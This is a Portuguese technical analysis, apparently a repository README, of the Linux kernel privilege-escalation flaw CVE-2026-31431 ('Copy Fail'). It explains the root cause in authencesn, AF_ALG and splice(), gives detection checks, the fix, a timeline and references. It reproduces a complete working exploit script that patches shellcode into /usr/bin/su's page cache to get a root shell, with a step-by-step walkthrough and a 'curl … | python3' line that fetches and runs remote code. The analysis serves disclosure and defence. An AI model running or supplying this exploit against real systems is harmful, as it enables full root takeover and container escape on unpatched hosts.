
Uma explicação estruturada da CVE-2026-31431 (Copy Fail), conectando as três alterações do kernel que introduziram a vulnerabilidade e permitiram sua exploração.
Uma falha lógica no template criptográfico authencesn, encadeada via AF_ALG e splice(), resultando em uma escrita controlada de 4 bytes no cache de páginas de qualquer arquivo legível do sistema. Sem condição de corrida, sem offsets, sem payload compilado. O mesmo script de 732 bytes obtém root em todas as distribuições Linux desde 2017.
CVE-2026-31431 - Copy Fail é uma falha lógica no template criptográfico authencesn do kernel Linux. Ela permite que um usuário local sem privilégios realize uma escrita controlada de 4 bytes no cache de páginas de qualquer arquivo legível do sistema, sem modificar o arquivo no disco.
O bug não existe em nenhum dos três componentes individualmente. Ele emerge da interação entre eles:``` 2011 ────────────────────────────────────────────────────────────────────── - authencesn added to the kernel (a5079d084f8b). - Uses the caller's destination scatterlist as scratch space. - Reorder ESN bytes before HMAC computation. - Only caller: internal xfrm layer. Harmless.
2015 ────────────────────────────────────────────────────────────────────── - algif_aead.c gains AEAD support with splice() path (104880a6b470). - splice() can deliver page cache pages to the TX scatterlist. - AF_ALG uses out-of-place operation: req->src != req->dst. - Page cache pages remain read-only. Not exploitable.
2017 ────────────────────────────────────────────────────────────────────── - In-place optimization in algif_aead.c (72548b093ee3). - Copies AAD+CT to RX buffer but chains authentication tag pages via sg_chain(). - Sets req->src = req->dst. - Page cache pages now reside in WRITABLE dst. - authencesn writes past boundary → page cache corruption.
2026 ────────────────────────────────────────────────────────────────────── - Copy Fail - CVE-2026-31431. Discovered by Theori / Xint Code. - Exploitable across all distros since 2017.
---
---
---
<div id='root-cause'/>
## ***🧬 Análise de Causa Raiz***
<div id='primitive'/>
### ***A primitiva AF_ALG + splice()***
AF_ALG (*[AF_ALG = 38](https://docs.kernel.org/crypto/userspace-if.html#user-space-api-general-remarks)*) é um tipo de socket que expõe a API criptográfica do kernel para o espaço de usuário sem privilégios. Um processo sem privilégios pode:
1. Abrir um socket AF_ALG / SOCK_SEQPACKET.
2. Chamar bind() para qualquer template AEAD disponível exposto pela API criptográfica do kernel.
3. Definir uma chave criptográfica via setsockopt(SOL_ALG, ALG_SET_KEY, ...) no algoritmo configurado.
4. Chamar accept() para obter um socket de operação dedicado que lidará com solicitações de criptografia e descriptografia
5. Enviar dados elaborados usando sendmsg() e receber o resultado processado via recvmsg(), interagindo totalmente com o subsistema criptográfico do kernel.
Ele é habilitado por padrão na configuração do kernel de todas as principais distribuições (CONFIG_CRYPTO_USER_API_AEAD=y).
**[splice(2)](https://man7.org/linux/man-pages/man2/splice.2.html)** transfere dados entre descritores de arquivo sem copiar - ele passa referências a páginas, não cópias. O fluxo relevante:```
open("/usr/bin/su") -> fd_file
pipe() -> pipe_rd, pipe_wr
# moves N bytes from the file into the pipe
# the pipe buffer now contains a reference to the same physical page in the page cache
splice(fd_file, pipe_wr, N)
# delivers that reference to the AF_ALG socket
# the TX scatterlist of algif_aead now points to the page cache page of /usr/bin/su
splice(pipe_rd, alg_fd, N)
The TX scatterlist do socket AF_ALG contém referências diretas às mesmas páginas físicas usadas pelo kernel para cada read(), mmap() e execve() do arquivo. Nenhuma cópia está envolvida.
Commit 72548b093ee3, algif_aead.c. Para descriptografia, a implementação:
In-place operation: RX SGL (req->dst): [ user buffer: AAD (copy) || CT (copy) ] --sg_chain--> [ Tag (page cache pages) ] req->src = req->dst = RX SGL
Result: page cache pages from /usr/bin/su are now part of the WRITABLE scatterlist passed to the crypto algorithm.
<div id='authencesn'/>
### ***A escrita fora dos limites em authencesn***
authencesn é o wrapper AEAD do kernel usado pelo IPsec com Números de Sequência Estendidos (RFC 4303). O IPsec usa números de sequência de 64 bits:
- seqno_hi - 32 bits superiores (bytes 0-3 do AAD)
- seqno_lo - 32 bits inferiores (bytes 4-7 do AAD)
Apenas seqno_lo é transmitido no fio; seqno_hi é contexto implícito. Para o cálculo de HMAC, o authencesn precisa reorganizar esses bytes: seqno_hi no início e seqno_lo no final da entrada do hash.
Ele realiza essa reorganização usando o scatterlist de destino do chamador como espaço de rascunho:```c
/* crypto/authencesn.c - crypto_authenc_esn_decrypt() */
// [1] Read bytes 0-7 of the AAD from dst
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);
// [2] Overwrite dst[4..7] with seqno_hi (temporary modification for HMAC)
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);
// [3] *** THE BUG ***
// Writes seqno_lo at dst[assoclen + cryptlen]
// This offset is AFTER the authentication tag - outside the legitimate AEAD output region.
// authencesn uses this position as scratch space and NEVER restores the original bytes.
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
A chamada [3] escreve 4 bytes em dst[assoclen + cryptlen]. O contrato de saída da API AEAD para descriptografia é AAD || texto simples - exatamente assoclen + (cryptlen - authsize) bytes. assoclen + cryptlen fica além da tag de autenticação. authencesn escreve em memória que não lhe pertence.
crypto_authenc_esn_decrypt_tail() lê seqno_lo de volta para reconstruir o AAD correto, mas nunca restaura os bytes originais em dst[assoclen + cryptlen]. A sobrescrita é permanente, independentemente de a verificação HMAC ter sucesso ou falhar.
Nenhum outro algoritmo AEAD padrão no kernel se comporta dessa forma. GCM, CCM e authenc padrão confinam estritamente suas escritas à região de saída legítima.
No caminho in-place pós-2017 de algif_aead, o scatterlist passado como req->dst para authencesn tem a seguinte estrutura:``` req->dst: [ RX buffer (user memory) ] [ Tag region (page cache pages) ] [ AAD (copy) || CT (copy) ] [ from /usr/bin/su ] [<---- assoclen + cryptlen bytes --->] [<--- sg_chain from TX SGL ---->] ^ authencesn writes here: dst[assoclen + cryptlen] = seqno_lo (4 bytes controlled by the attacker)
scatterwalk_map_and_copy não tem noção de propriedade de página; ela simplesmente mapeia qualquer página que o scatterlist aponte via kmap_local_page e escreve nela. Com páginas do cache de páginas presentes em req->dst, ela acaba mapeando a página em cache de "/usr/bin/su" e escrevendo seqno_lo diretamente na cópia em memória do kernel do arquivo.
O HMAC é calculado sobre os bytes reorganizados e falha (o texto cifrado é controlado pelo atacante). recvmsg() retorna um erro. A gravação de 4 bytes no cache de páginas persiste.
---
<div id='scatterlist'/>
### ***Percorrendo o scatterlist até as páginas do cache de páginas***```c
struct scatterlist {
unsigned long page_link; // physical page + flags (SG_END, SG_CHAIN)
unsigned int offset; // offset within the page
unsigned int length; // bytes in this entry
};
// sg_chain(sgl_a, nents_a, sgl_b):
// sgl_a[nents_a-1].page_link |= SG_CHAIN;
// sgl_a[nents_a-1].page_link = (unsigned long)sgl_b;
// the last entry of sgl_a now points to the beginning of sgl_b
RX SGL (req->dst) after in-place construction:
entry[0]: page=user_buf_page, offset=0, length=assoclen (AAD copied)
entry[1]: page=user_buf_page, offset=assoclen, length=cryptlen-4 (CT copied)
entry[2]: SG_CHAIN -> TX SGL entry[2]
|
v
page = page_cache_page_of_/usr/bin/su
offset = <tag offset within the file>
length = authsize (= 4)
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1):
offset_within_sgl = assoclen + cryptlen
-> walks past entry[0] (assoclen bytes)
-> walks past entry[1] (cryptlen-authsize bytes)
-> reaches entry[2]: offset_within_entry = 0
-> kmap_local_page(page_cache_page_of_su)
-> memcpy(mapped_page + page_offset, tmp+1, 4) <- WRITE INTO PAGE CACHE
-> kunmap_local(mapped_page)
The page is never marked dirty (SetPageDirty / mark_page_accessed are not invoked in this path). The kernel writeback mechanism does not flush it to disk. The file on disk remains unchanged.
A primitiva de escrita controlada de 4 bytes no page cache se transforma em uma escalada local de privilégios (LPE) completa:
Ao iterar a escrita de 4 bytes por vez, o atacante pode injetar shellcode na seção .text de um binário setuid no page cache. execve() carrega a partir do page cache, então o binário corrompido executa com UID 0.
O page cache é compartilhado por todo o host, incluindo todos os contêineres. Copy Fail não é apenas um LPE local, é uma primitiva de escape de contêiner e um vetor de comprometimento de nó Kubernetes.
| Ambiente | Risco | Resultado |
|---|---|---|
| Hosts Linux multi-tenant | Crítico | Qualquer usuário → root |
| Kubernetes / contêineres | Crítico | Pod → host, entre tenants |
| Runners de CI (PRs não confiáveis) | Crítico | PR → root no runner |
| SaaS em nuvem executando código do usuário | Crítico | Tenant → root do host |
| Servidores single-tenant | Alto | LPE interno; encadear com RCE web |
| Workstations de usuário único | Médio | Escalação de privilégios pós-exploração |
Qualquer sistema Linux executando um kernel compilado entre 2017 e o patch, com AF_ALG habilitado na configuração padrão, o que efetivamente inclui todas as distribuições mainstream.
Verificado diretamente pela Theori / Xint:
| Distribuição | Kernel |
|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 |
| SUSE 16 | 6.12.0-160000.9-default |
Outras distribuições executando kernels afetados (Debian, Arch, Fedora, Rocky, Alma, Oracle, alvos embarcados) se comportam de forma idêntica; o bug reside no subsistema criptográfico compartilhado, não em qualquer patch específico de distribuição.
Requisitos de exploração:
uname -r
If the kernel was built between 2017 and the patch (commit a664bf3d603d), the system is potentially affected. Verify whether the patch is present:```bash
# Ubuntu / Debian
dpkg -l | grep linux-image
# RHEL / Fedora / Amazon Linux
rpm -q kernel
# SUSE
zypper se -s kernel-default
python3 -c " import socket try: s = socket.socket(38, 5, 0) s.close() print('[+] AF_ALG available - system potentially affected') except Exception as e: print(f'[-] AF_ALG not available: {e}') "
### ***3. Verifique se algif_aead está carregado***```bash
sudo modinfo algif_aead 2>/dev/null && echo "[+] algif_aead available" || echo "[-] algif_aead not found"
O script a seguir verifica se o caminho vulnerável é alcançável. Ele não realiza nenhuma escrita, apenas verifica a disponibilidade da superfície de ataque:```python #!/usr/bin/env python3 """ Copy Fail (CVE-2026-31431) - Attack surface verification. Does not perform any writes. Only checks whether the vulnerable path is available. """ import socket import sys
def check_surface(): results = {}
# 1. Check if AF_ALG socket is available
try:
# AF_ALG, SOCK_SEQPACKET
s = socket.socket(38, 5, 0)
results['af_alg_socket'] = True
# 2. Try binding to authencesn (the vulnerable algorithm)
try:
s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
results['authencesn_available'] = True
except OSError as e:
results['authencesn_available'] = False
results['authencesn_error'] = str(e)
s.close()
except OSError as e:
results['af_alg_socket'] = False
results['af_alg_error'] = str(e)
# 3. Check if splice() is available
import os
results['splice_available'] = hasattr(os, 'splice')
print("\n=== Copy Fail CVE-2026-31431 - Surface Check ===\n")
for k, v in results.items():
marker = '[+]' if v is True else '[-]' if v is False else '[i]'
print(f" {marker} {k}: {v}")
if results.get('af_alg_socket') and results.get('authencesn_available') and results.get('splice_available'):
print("\n [!] SURFACE AVAILABLE - system exposes the full attack surface.")
print(" Verify whether the kernel includes patch a664bf3d603d.")
else:
print("\n [OK] Surface mitigated or not available.")
if name == "main": check_surface()
---
<div id='exploit'/>
## ***💣 Exploit***
Este exploit foi originalmente lançado pela Theori / Xint Code juntamente com a divulgação pública em 29 de abril de 2026.
- **SHA256:** a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9`
- **Repositório oficial:** [github.com/theori-io/copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)
- **Requisitos:** Python 3.10+, kernel afetado, AF_ALG habilitado.```python
#!/usr/bin/env python3
# Copy Fail - CVE-2026-31431
# Original: Theori / Xint Code - https://copy.fail/
# sha256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
# Requirements: Python 3.10+ (os.splice), affected kernel (2017-2026), AF_ALG enabled.
# Default target: /usr/bin/su (any readable setuid binary works).
# The page cache write is NOT persistent - it is reverted on the next reboot.
import os as g, zlib, socket as s
def d(x):
return bytes.fromhex(x)
def c(f, t, c):
# Open AF_ALG socket and bind to authencesn(hmac(sha256),cbc(aes))
a = s.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
h = 279 # SOL_ALG
v = a.setsockopt
v(h, 1, d('0800010000000010' + '0' * 64)) # ALG_SET_KEY
v(h, 5, None, 4) # ALG_SET_AUTHSIZE = 4
u, _ = a.accept()
o = t + 4
i = d('00')
# sendmsg: AAD = seqno_hi (4 bytes) || seqno_lo (4 bytes = payload to write)
# authencesn writes seqno_lo into dst[assoclen+cryptlen] -> page cache
u.sendmsg(
[b"A" * 4 + c], # AAD: seqno_hi=0x41414141, seqno_lo=payload
[
(h, 3, i * 4), # ALG_SET_IV
(h, 2, b'\x10' + i * 19), # ALG_SET_OP=DECRYPT + params
(h, 4, b'\x08' + i * 3), # ALG_SET_AEAD_AUTHSIZE
],
32768 # MSG_SENDPAGE_NOTLAST
)
# splice: delivers page cache pages from the target file into the AF_ALG socket
# The TX SGL of the socket will point directly to page cache pages
r, w = g.pipe()
n = g.splice
n(f, w, o, offset_src=0) # file -> pipe (reference to page cache page)
n(r, u.fileno(), o) # pipe -> AF_ALG socket (TX SGL points to page cache)
# recv: triggers decrypt in the kernel
# authencesn performs the scratch write -> 4 bytes written into the page cache
# recvmsg() returns error (HMAC fails - attacker-controlled ciphertext), write persists
try:
u.recv(8 + t)
except:
0
# Open target binary (readable by any user)
f = g.open("/usr/bin/su", 0)
# zlib-compressed shellcode - patches /usr/bin/su in the page cache
i = 0
e = zlib.decompress(d(
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d"
"209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675"
"c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
))
# Iterate in 4-byte chunks: each iteration performs a controlled write into the page cache
while i < len(e):
c(f, i, e[i:i+4])
i += 4
# Execute the patched binary in memory - runs as UID 0
g.system("su")
curl https://copy.fail/exp | python3
python3 copy_fail_exp.py
python3 copy_fail_exp.py /usr/bin/passwd
id
---
---
---
<div id='walkthrough'/>
## ***🔬 Passo a Passo do Exploit***
<div id='step1'/>
### ***Passo 1 - Configuração do Socket***```python
# AF_ALG=38, SOCK_SEQPACKET=5
a = socket.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
O template authencesn é selecionado - o único algoritmo AEAD no kernel que escreve fora de sua região de saída legítima. Esta escolha é deliberada: GCM, CCM e o authenc padrão não acionam o bug.```python a.setsockopt(SOL_ALG, ALG_SET_KEY, key) # arbitrary 32-byte key a.setsockopt(SOL_ALG, ALG_SET_AUTHSIZE, 4) # authsize = 4 bytes u, _ = a.accept() # operation socket
ALG_SET_AUTHSIZE = 4 define o tamanho da tag de autenticação. Esse valor controla diretamente onde dst[assoclen + cryptlen] se posiciona em relação à região da tag no scatterlist e, portanto, qual deslocamento dentro da página do cache de páginas é sobrescrito.
<div id='step2'/>
### ***Passo 2 - Construir o Write***
Para cada bloco de 4 bytes do payload:```python
# AAD = 8 bytes: seqno_hi (bytes 0-3) || seqno_lo (bytes 4-7)
# seqno_lo = the 4 bytes we want to write into the page cache
aad = b"\x41\x41\x41\x41" + payload_chunk_4bytes
u.sendmsg([aad], [cmsg_headers], MSG_SENDPAGE_NOTLAST)
Bytes 4-7 do AAD (seqno_lo) são exatamente os 4 bytes que authencesn grava em dst[assoclen + cryptlen]. O atacante os projeta com o valor de payload desejado.
O deslocamento do arquivo é controlado via parâmetros splice:```python
o = t + 4 r, w = os.pipe() os.splice(target_fd, pipe_wr, o, offset_src=0) # offset_src=0, length=o os.splice(pipe_rd, alg_fd, o)
<div id='step3'/>
### ***Passo 3 - Disparar a Escrita do Page Cache***```python
try:
u.recv(8 + t)
except:
pass # recvmsg() returns EBADMSG/EINVAL - HMAC fails. Expected.
A chamada recv() aciona a operação de descriptografia dentro do kernel. O erro de recvmsg() é esperado e irrelevante. A gravação no page cache já ocorreu.
Após iterar por todos os chunks de payload:``` os.system("su")
execve("/usr/bin/su"):
1. O kernel carrega o binário do cache de páginas.
2. A página em cache contém o shellcode injetado (o arquivo no disco permanece inalterado).
3. /usr/bin/su é setuid-root: o processo inicia com UID efetivo 0.
4. O shellcode gera um shell root.```
$ python3 copy_fail_exp.py
# id
uid=0(root) gid=1002(xint) groups=1002(xint)
Todos os três pertencem à mesma classe de ataque: escrever no cache de página a partir do espaço do usuário sem privilégios, sem modificar o arquivo no disco, para obter privilégios por meio de um binário setuid. Seus mecanismos e restrições diferem significativamente.
Condição de corrida no caminho de copy-on-write (COW) do subsistema de VM. Exigia vencer uma janela TOCTOU, múltiplas tentativas, confiabilidade variável, falhas ocasionais. Kernels 2.6.22 a 4.8.3.
Abuso da flag PIPE_BUF_FLAG_CAN_MERGE em buffers de pipe para mesclar dados controlados pelo atacante no cache de página. Determinístico, mas específico de versão (kernel ≥ 5.8 com patches específicos).
Falha de lógica de linha reta. Sem condição de corrida, sem offsets por distribuição, sem payload compilado. Um script Python de 732 bytes usando apenas a biblioteca padrão obtém root em todas as principais distribuições de 2017 a 2026.
| Dirty Cow | Dirty Pipe | Copy Fail | |
|---|---|---|---|
| Mecanismo | Condição de corrida (COW) | Abuso de flag de pipe | Lógica AEAD + scatterlist |
| Requer corrida | Sim | Não | Não |
| Confiabilidade | 30-80% | Alta | 100%, disparo único |
| Faixa de kernel | 2.6.22-4.8.3 | ≥5.8 (específico) | 2017-2026 (~9 anos) |
| Offsets por distribuição | Sim | Alguns | Não |
| Payload compilado | Sim | Não | Não |
| Escape de contêiner | Não | Não | Sim |
O commit mainline a664bf3d603d corrige 72548b093ee3 (a otimização in-place de 2017)
O patch reverte o algif_aead.c para a operação fora do lugar (out-of-place). req->src e req->dst voltam a ser scatterlists separadas. As páginas do cache de página entregues via splice() permanecem no SGL de TX somente leitura (req->src). O buffer RX - a única memória em que o algoritmo criptográfico pode escrever - é o buffer recvmsg do usuário (req->dst). O mecanismo sg_chain() que anteriormente encadeava páginas de tag (cache de página) no destino gravável é removido.```c /* BEFORE (vulnerable) - req->src = req->dst, page cache pages in dst / aead_request_set_crypt(&areq->cra_u.aead_req, areq->first_rsgl.sgl.sgt.sgl, / RX SGL as src / areq->first_rsgl.sgl.sgt.sgl, / RX SGL as dst (same!) */ used, ctx->iv);
/* AFTER (fix) - separate scatterlists / aead_request_set_crypt(&areq->cra_u.aead_req, tsgl_src, / TX SGL as src (may contain page cache pages) / areq->first_rsgl.sgl.sgt.sgl, / RX SGL as dst (user buffer only) */ used, ctx->iv);
A mensagem do commit afirma: "Não há benefício em operar in-place no algif_aead, pois a origem e o destino vêm de mapeamentos diferentes."
---
---
---
<div id='timeline'/>
## ***📅 Linha do Tempo de Divulgação***
| Data | Evento |
|------------|----------------------------------------------------------|
| 2026-03-23 | Vulnerabilidade reportada à equipe de segurança do kernel Linux |
| 2026-03-24 | Reconhecimento inicial recebido |
| 2026-03-25 | Correções propostas e revisadas |
| 2026-04-01 | Correção integrada à mainline (a664bf3d603d) |
| 2026-04-22 | CVE-2026-31431 atribuído |
| 2026-04-29 | Divulgação pública, [copy.fail](https://copy.fail/) |
**Descoberto por:** Taeyang Lee na [Theori](https://theori.io/) / [Xint Code](https://xint.io/)
---
---
---
<div id='references'/>
## ***📚 Referências***
- **[NVD - CVE-2026-31431](https://nvd.nist.gov/vuln/detail/CVE-2026-31431)**
> Entrada no Banco de Dados Nacional de Vulnerabilidades.
- **[Copy Fail - Divulgação oficial](https://copy.fail/)**
> Página inicial com FAQ, distribuições afetadas, mitigações e PoC.
- **[Theori / Xint Blog - Análise completa](https://xint.io/blog/copy-fail-linux-distributions)**
> Causa raiz, diagramas de scatterlist, cadeia histórica (2011→2015→2017) e passo a passo do exploit.
- **[Theori GitHub - copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)**
> Repositório oficial contendo o PoC.
- **[Commit a664bf3d603d - correção](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a664bf3d603d)**
> Reverte a otimização in-place do algif_aead.
- **[Commit 72548b093ee3 - causa raiz (2017)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=72548b093ee3)**
> Introduz a otimização in-place que colocava páginas do cache de páginas no destino gravável.
- **[Commit a5079d084f8b - authencesn introduzido (2011)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a5079d084f8b)**
> Commit original que adiciona o authencesn, estabelecendo o padrão de gravação scratch.
- **[Commit 104880a6b470 - authencesn migrado para a API AEAD (2015)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=104880a6b470)**
> Introduz o offset assoclen + cryptlen que escreve fora da região legítima.
- **[CVE-2016-5195 - Dirty Cow](https://dirtycow.ninja/)** · **[CVE-2022-0847 - Dirty Pipe](https://dirtypipe.cm4all.com/)**
> Trabalhos anteriores na classe de corrupção de page cache / LPE.